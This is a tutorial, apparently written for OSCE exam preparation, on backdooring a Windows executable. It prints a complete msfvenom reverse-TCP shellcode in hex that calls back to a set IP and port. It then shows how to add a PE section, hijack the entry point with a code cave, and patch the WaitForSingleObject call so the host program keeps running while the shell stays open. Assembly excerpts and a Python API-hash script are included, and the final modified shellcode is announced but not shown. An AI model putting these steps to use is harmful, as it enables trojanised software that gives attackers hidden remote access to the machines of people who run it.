Looking for WaitForSingleObject Call
This article describes the process of locating WaitForSingleObject
function. If you are doing OSCE, you might have stumbled upon this function when using a shellcode generated by msfvenom
.
Step 1: Generating payload
First, we need to generate a shellcode using msfvenom
. We need to use EXITFUNC=none
so that our program keeps running after the completion of the shellcode.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.100.46 LPORT=4444 EXITFUNC=none -f hex
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of hex file: 648 bytes
fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd5505050504050405068ea0fdfe0ffd5976a0568c0a8642e680200115c89e66a1056576899a57461ffd585c0740cff4e0875ec68f0b5a256ffd568636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e04e5646ff306808871d60ffd5bbaac5e25d68a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5
I spent a couple of hours trying to figure out why windows/exec
payload does not work. The answer is that it is generating a payload like shellcode
+ cmd_string
, and when shellcode returns from the function, it gets right into cmd_string
.
Step 2: Preparing executable
Create a new section, so that it has the following attributes:
.NewSec, VOffset: 0x46000, VSize: 0x1000, ROffset: 0x2D000, RSize: 0x1000, Flags: 0xE000000E0
If you are doing CTP/OSCE, you are familiar with overwriting the first bytes of a program. These bytes are called Original Entry Point. You could do that here. Alternatively, you can overwrite AddressOfEntryPoint
in the PE header.
Then you create a code cave like this:
pushad
pushfd
msfvenom
generated payload- stack alignment via
sub esp, ...
oradd esp, ...
popfd
popad
- return to the original flaw (depends on the way you hijacked the original flaw)
Step 3: Understanding Metasploit shellcode
We do not need to reverse the whole shellcode. The git repository of Metasploit has assembly source code for all payloads.
A file block_api.asm defines a function to look up API functions. msfvenom
generated shellcode looks up API functions by their hashes, not names or addresses. Thus, it does not have any direct pointers, which makes it difficult to reverse engineer.
The following Python code calculates a function hash:
#!/usr/bin/python
# -*- coding: utf-8 -*-
def ror(dword, bits):
return (dword >> bits | dword << 32 - bits) & 0xFFFFFFFF
def unicode(string, uppercase=True):
result = ''
if uppercase:
string = string.upper()
for c in string:
result += c + '\x00'
return result
def hash(
module,
function,
bits=13,
print_hash=True,
):
module_hash = 0
function_hash = 0
for c in unicode(module + '\x00'):
module_hash = ror(module_hash, bits)
module_hash += ord(c)
for c in str(function + '\x00'):
function_hash = ror(function_hash, bits)
function_hash += ord(c)
h = module_hash + function_hash & 0xFFFFFFFF
if print_hash:
print '[+] 0x%08X = %s!%s' % (h, module.lower(),
function)
return h
if __name__ == '__main__':
hash('kernel32.dll', 'WaitForSingleObject')
When we run it, it will display the hash of the WaitForSingleObject
function in the kernel32.dll
module.
python hash.py
[+] 0x601D8708 = kernel32.dll!WaitForSingleObject
The hash is 0x601D8708
.
Then, to get a reverse shell, we use code from block_reverse_tcp.asm. This code looks up required API functions (those push; call ebp;
instructions) by their hashes, calls them, and then returns a socket through edi
register. Calling connect
, for example, is made like this:
push byte 16 ; length of the sockaddr struct
push esi ; pointer to the sockaddr struct
push edi ; the socket
push 0x6174A599 ; hash( "ws2_32.dll", "connect" )
call ebp ; connect( s, &sockaddr, 16 );
After that, the shellcode spawns a shell, using block_shell.asm. This code uses CreateProcessA
, and it uses our socket as stdin
, stdout
, and stderr
.
In block_exitfunk.asm an exit function gets called (the one, specified via EXITFUNC
parameter).
Step 4: Fixing shellcode
If we look closer to block_shell.asm code, we’ll see it uses the WaitForSingleObject
function. This snippet shows where it is used:
dec esi ; decrement ESI down to -1 (INFINITE)
push esi ; push INFINITE inorder to wait forever
inc esi ; increment ESI back to zero
push dword [eax] ; push the handle from our PROCESS_INFORMATION.hProcess
push 0x601D8708 ; hash( "kernel32.dll", "WaitForSingleObject" )
call ebp ; WaitForSingleObject( pi.hProcess, INFINITE );
We see this code uses INFINITE
as a value for the dwMilliseconds
parameter. The prototype of the WaitForSingleObject
function is:
DWORD WINAPI WaitForSingleObject( _In_ HANDLE hHandle, _In_ DWORD dwMilliseconds);
To avoid glitching, we must set the value of the dwMilliseconds
to zero. We can do that by changing dec esi
to nop
.
Now our shellcode should look like this:
Copy changes to the executable, save it, and run it. Everything should work fine.